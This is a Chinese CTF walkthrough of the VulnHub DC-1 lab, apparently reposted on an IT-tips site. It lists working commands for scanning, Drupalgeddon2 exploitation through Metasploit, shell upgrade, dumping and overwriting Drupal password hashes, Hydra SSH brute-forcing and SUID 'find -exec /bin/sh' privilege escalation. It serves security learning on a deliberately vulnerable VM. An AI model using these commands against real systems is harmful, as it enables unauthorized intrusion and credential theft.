位置: IT常识 - 正文

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)(upload靶场搭建)

编辑:rootadmin
DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

目录

一. 环境搭建

1. 准备工具

渗透利器kali

DC-1靶场机

2. 安装过程

二. 渗透过程

1. 信息收集

①探测目标IP地址

②探测目标IP开放端口 

③网页信息收集

2. 漏洞查找与利用

①漏洞查找

②漏洞利用

3. Getshell

①获取普通shell

②获取交互shell 

3. 数据库渗透

4. 用户密码爆破

5. Linux提权

三. 收获总结

1. 主机扫描

2. 域名信息收集

3. CMS漏洞找查及利用

4. Getshell

5. Linux特性及相关命令

6. 密码爆破与SSH

7. Linux系统的SUID提权


一. 环境搭建1. 准备工具渗透利器kali

推荐整理分享DC-1靶场搭建及渗透实战详细过程(DC靶场系列)(upload靶场搭建),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:dc-3靶场,dc-4靶机,搭建dvwa靶场,dc-3靶场,搭建dvwa靶场,dc-4靶机,dc系列靶机,dc-3靶场,内容如对您有帮助,希望把文章链接给更多的朋友!

可参考下面文章进行安装

Kali虚拟机安装,设置中文等详细教程,Linux最新免镜像版

DC-1靶场机

官网下载 https://download.vulnhub.com/dc/DC-1.zip

2. 安装过程

解压后得到个.ova文件

用vm虚拟机打开该文件

设置好相关操作

提示导入失败,不过没有关系点重试就好,导入完成后,打开DC-1虚拟机并等待,过程中别点进虚拟机里面

出现这个界面就表示开启成功 (渗透完得到密码就能登入啦),然后再更改kali的网络连接模式为桥接模式,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机,当然也可以设置为net,但必须DC-1靶机也设为net,不懂桥接模式的小伙伴建议参考

“桥接”和“NAT”方式区别 - 知乎 (zhihu.com)

二. 渗透过程

这一过程需要用到kali,打开我们的渗透利器kali(root模式下)

1. 信息收集①探测目标IP地址

探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover

arp-scanarp-scan -l

该命令是探测当前网段的所有ip地址

然后我们看一下DC靶机的Mac地址

确定了DC主机的IP地址为

192.168.120.128nmap

先看一下kali的ip地址

ifconfig

 再用nmap

nmap -sP 192.168.120.0/24

ip后面改为了0/24, 在这里“192.168.120.0/24”表示的是这个网段的IP地址从从192.168.120.1开始,到192.168.120.254结束(192.168.120.0和192.168.120.255有特殊含义不能当做ip地址);子网掩码是255.255.255.0

一样扫出了ip

netdiscovernetdiscover

②探测目标IP开放端口 

用nmap来探测

nmap -sV -p- 192.168.120.128

-sV  扫描目标主机端口上运行的软件信息

-p-  扫描全部端口0-65535

20和80端口是我们的突破口,80是http协议,我们用浏览器访问一下看看

③网页信息收集

利用火绒插件wappalyzer,查看站点信息,也可以自己判断,网页一看cms就是drupal

当然也可以用kali自带的工具whatweb扫

黑客工具之whatweb详细使用教程 - 知乎 (zhihu.com)

whatweb -v 192.168.120.128

 也能扫出CMS,然后再用dirsearch工具扫一下目录 ,命令

dirsearch -u 192.168.120.128 -e *

还是扫出了挺多目录的,但是暂时用不到,先放一放 

得到如下信息

CMS是Drupal Apache 2.2.22

PHP 5.4.45

jQuery 1.4.4 

2. 漏洞查找与利用

知道cms,我们一般从cms出发找漏洞,百度一下drupal漏洞 

果然有框架漏洞

①漏洞查找

用工具Metasploit(目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一),找一下漏洞,先打开工具

msfconsole

然后输入命令

search Drupal

可以看到这个cms框架还是有挺多漏洞的,这里我们利用漏洞等级较高的,且时间最新的18年那个漏洞

②漏洞利用

利用18年那个漏洞

use exploit/unix/webapp/drupal_drupalgeddon2

 接着看一下该漏洞模块参数

show options

Current Setting是目前设置的内容

Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置

就上面来说RHOSTS需要set,但是没有内容

所以接着我们来设置一下RHOSTS内容(就是攻击目标IP地址,靶场地址)

set RHOSTS 192.168.120.128

然后再show一下模块参数 

设置好参数后开始攻击

exploit

exploit和run是一样的,用run也可以

出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上shell

3. Getshell①获取普通shellshell

获取一下普通的shell 

然后执行ls命令

②获取交互shell 

这样看起来有点那啥,不过我们可以利用python实现互交shell,这样就好看一点,使用的前提是攻击主机上必须装有python

python -c 'import pty; pty.spawn("/bin/bash")'

可以看到这个shell的权限只是普通权限,还不是root,不过还能看看文件啦,先看一下发现的flag1.txt文件

tac flag1.txt

查看一下flag1.txt文件

每个好的CMS都需要一个配置文件,你也一样,emmm,这个先放着,看看还有没有其他flag文件

find / -name flag*

 好吧,就只有一个flag文件,根据之前的提示看一下配置文件,一般来说配置文件都有一些特别重要的信息在里面,搞不好还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行

cat `find / -name settings.php`

这里我们找到了flag2(好像不重要的样子),还意外收获了一个数据库,给了账号密码,先登一下看看

3. 数据库渗透

由上面得到的账号密码登入

mysql -udbuser -pR0ck3t

登进去了,这样我们就可以为所欲为修改数据库了,先看看有啥东西

show datebases;

 

接着使用改数据库,并查看表 

use drupaldb;show tables;

 

 注意到users这个表,看一下有啥,先改小一点字体,不然可能会挤爆不美观

select * from users;DC-1靶场搭建及渗透实战详细过程(DC靶场系列)(upload靶场搭建)

得到两个用户 

 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |

 | Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |

密码好复杂,应该不是明文,那想登进后台就很难了就很难了,我们可以通过修改admin的密码,或者是新加一个admin

参考:分享:忘记Drupal的管理员密码的解决办法 | Drupal China

法一:修改admin密码

我们得先找到加密文件,Drupal的加密脚本在

/var/www/scripts/password-hash.sh

目录下,我们先退出mysql

exit;

打开加密脚本

cat /var/www/scripts/password-hash.sh

这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码123456 

php /var/www/scripts/password-hash.sh 123456

得到加密后的密码, 接着我们登入mysql修改一下admin跟Fred的密码

mysql -udbuser -pR0ck3tuse drupaldb;update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred';

密码修改成功 

法二:添加admin权限用户 

drupal7版本在有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具

searchsploit drupal

然后看一下那个脚本path

searchsploit 34992.py -p

 

可以通过URL下载脚本使用,这里就不多展示了,接着我们用修改好的密码登入

 登进去就找到了flag3,提示了我们一些信息passwd和shadow,明显就是linux的文件

/etc/passwd

该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读

Linux /etc/passwd内容解释(超详细)

/etc/shadow

该文件存储了系统用户的密码等信息,只有root权限用户才能读取

Linux /etc/shadow(影子文件)内容解析(超详细)

接着我们查看一下用户信息

tac /etc/passwd

可以看到有flag4这个用户,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码

4. 用户密码爆破

事先参考SSH

SSH简介及两种远程登录的方法_Jack LDZ的博客-CSDN博客_ssh

利用工具Hydra爆破flag4的密码

(总结)Linux下的暴力密码在线破解工具Hydra详解

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.120.128

爆破出密码orange,然后我们用kali连接

ssh flag4@192.168.120.128

@192.168.120.128

@目标主机地址

输入orange登入

打开了flag4.txt,emmm其实好像也没啥

5. Linux提权

需要用到SUID提权,参考

简谈SUID提权 - FreeBuf网络安全行业门户

利用find命令,找查具有SUID权限的可执行二进制文件

find / -perm -u=s -type f 2>/dev/null

find比较常用,可以执行root权限的命令找查文件,

find / -name index.php -exec "/bin/sh" \;

找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上

-exec "/bin/sh" \;

#!/bin/sh简介 - feng..liu - 博客园 (cnblogs.com)

可以看到已经提权成功了,接下来我们只要找到剩下的flag文件就算通关啦

cd /rootlscat *

 

拿到第五个flag啦! 

三. 收获总结1. 主机扫描nmapnmap -sP 网段

Nmap命令详解

arp-scanarp-scan -l

arp-scan命令及ARP含义解释

netdiscovernetdiscover

Netdiscover网络扫描工具

2. 域名信息收集whatwebwhatweb -v 域名

 whatweb详细使用教程

 火绒扩展wappalyzer dirsearchdirsearch -u 域名

目录扫描工具 dirsearch 中文手册

3. CMS漏洞找查及利用Metasploit

先打开MSF控制台 

msfconsole

搜索CMS漏洞

search cms名

使用模块

use 漏洞模块名

显示模块参数(一般只需要设置攻击目标IP地址)

show options

设置模块参数

set 模块参数名 参数值

开始攻击

run(或exploit)

metasploit渗透测试入门

4. Getshell

使用MSF攻击等待主机与目标连接完成后

metasploit获取shell之后的进一步利用

通常情况下直接进入shell

shell

获取交互shell(需对方主机安装有python)

python -c 'import pty;pty.spawn("/bin/bash")'5. Linux特性及相关命令

查看权限(root为最高权限,其他为普通用户)

whoami

文件特性passwd与shadow

/etc/passwd

存储有用户的基本信息,如用户名、用户ID等,所有用户均可访问

Linux /etc/passwd内容解释(超详细)

/etc/shadow

存储有用户的密码等信息,需要root用户才能访问

Linux /etc/shadow(影子文件)内容解析(超详细)

6. 密码爆破与SSH

爆破工具Hydra

黑客工具之hydra详细使用教程 

以爆破SSH为例

hydra -l 指定用户名 -p 指定密码 ssh://目标主机hydra -L 用户字典 -P 密码字典 ssh://目标主机

爆破完后我们可以用kali登入

ssh 用户名@目标攻击主机

SSH简介及两种远程登录的方法

7. Linux系统的SUID提权

简谈SUID提权

先找到含有SUID权限的二进制文件

find / -user root -perm -4000 -print 2>/dev/null

这句命令的意思是找到SUID权限的二进制文件,将错误的垃圾信息过滤

find / -perm -4000 2>/dev/null      拆分讲解

再选择相关命令进行提权,以find为例(用得最多)

先ls查看当前目录文件,假设有文件x.ab,利用共有suid权限的find搭配exec进行提权

find / -name x.ab -exec "/bin/sh" \;
本文链接地址:https://www.jiuchutong.com/zhishi/287979.html 转载请保留说明!

上一篇:飞机上可以充电吗(上飞机可以带2个充电宝吗)

下一篇:从奎雷英山口看到的 Leum na Luirginn湖和Cleat湖,英国斯凯岛 (© Sebastian Wasek/Sime/eStock Photo)

  • 增值税税控开票软件怎么下载
  • 增值税认证发票平台可以导出发票明细吗?
  • 暂时进出境货物和暂准进出境货物
  • 减免税额科目
  • 航空电子客票行程单在哪里打印
  • 企业对外付汇怎么入账
  • 二手车固定资产
  • 获取清算行行号失败
  • 企业收到的投资者的超出其在企业
  • 临时占用耕地可以种树吗
  • 盈余公积属于什么类账户
  • 缴纳个税和社保
  • 少提的税金如何做账
  • 财务报告财务报表年度报告的区别
  • 营改增之后的增值税
  • 房地产预收款如何申报增值税
  • 出口发票开具注意事项及要求有哪些?
  • 2017年个税税率表及个税计算公式
  • 资产转让的优点
  • 季初从业人数和季末从业人数怎么填
  • 调整以前年度应付
  • 非金融机构有
  • 自己去税务局开票怎么开
  • 残保金的工资总额是应发还是实发
  • 残保金申报有什么用
  • 非正常损失的进项税额如何计算
  • 国际重复征税的解决方法公式
  • 基于php代码实现数据库
  • win10记事本在哪找
  • php怎么自学
  • 不征税收入符合的条件
  • 代扣手续费是啥意思
  • 赖格宝视频
  • PHP:mdecrypt_generic()的用法_Mcrypt函数
  • 单位未足额缴纳社保可以补交几年
  • 库存现金盘盈影响营业利润吗
  • 土地使用税计入管理费用还是税金及附加
  • 资金筹集业务核算实训内容
  • 工商年报认缴出资时间填错了,有什么后果
  • php常见错误
  • 测试工程师有前途么
  • 什么是资产评估的价值类型
  • series转换为dataframe
  • 累计折旧当月增加当月减少
  • vuex 3
  • 非营利组织缴纳增值税账务处理
  • 申请专利的费用主要包括
  • 税金及附加主要包括什么
  • 公司的备用金属怎么处理
  • 什么指的是土地面积
  • 月末结存材料的实际成本例题
  • 企业发行债券的优点有哪些
  • 职工教育经费超过扣除限额的时候调增还是调减
  • 固定资产怎么入费用
  • 中标费用入什么科目
  • 税控盘服务费减免政策
  • 税收优惠应计入那个科目
  • 2021年会计做账报税详细流程
  • mysql的union和union all
  • mysql 绿色版安装
  • 优化什么建立生育支持政策体系
  • 正常关机开机后爱奇艺自动卸载
  • mac怎么切换输入法
  • windows7如何关闭update
  • python创建二维数据表
  • perl 排序
  • 编程语言javascript
  • unix中创建新文件
  • android 刷新view
  • js中的date函数
  • jquery 设置checked
  • javascript 数字类型
  • unity3ds
  • unity怎么做触屏按键
  • jquery设置元素css
  • 怎样学好js中的逻辑
  • 党建联建是什么部门负责
  • 银行收取个人贷款的费用
  • 企业所得税可以抵扣吗
  • 西藏五个确保是什么?
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设